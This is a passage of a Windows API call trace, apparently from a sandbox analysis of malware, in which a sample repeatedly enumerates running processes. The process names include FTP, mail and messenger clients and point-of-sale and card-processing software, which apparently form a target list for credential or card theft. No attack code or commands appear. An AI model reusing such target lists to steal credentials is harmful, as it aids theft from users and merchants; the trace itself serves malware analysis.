th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0288.597] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0288.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0288.602] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0288.605] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0288.608] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0288.610] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0288.613] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0288.615] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0288.618] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0288.621] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0288.623] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0288.626] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0288.677] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0288.680] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0288.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0288.684] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0288.686] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0288.688] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0288.690] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0288.692] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0288.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0288.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0288.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0288.700] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0288.702] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0288.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0288.706] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0288.709] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0288.711] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0288.714] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0288.717] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0288.767] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0288.770] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0288.773] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0288.776] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0288.778] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0288.781] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0288.783] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0288.786] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0288.789] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0288.791] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0288.793] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0288.796] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0288.798] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0288.864] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0288.866] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0288.869] CloseHandle (hObject=0x344) returned 1 [0288.869] Sleep (dwMilliseconds=0x64) [0288.912] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0288.929] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0288.934] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0288.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.938] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0288.990] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.993] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0288.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0288.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0289.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.002] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.004] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0289.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.009] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.011] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.022] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.024] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0289.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0289.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0289.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0289.082] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0289.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0289.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0289.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0289.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0289.096] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0289.108] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0289.110] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0289.114] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0289.116] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0289.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0289.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0289.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) 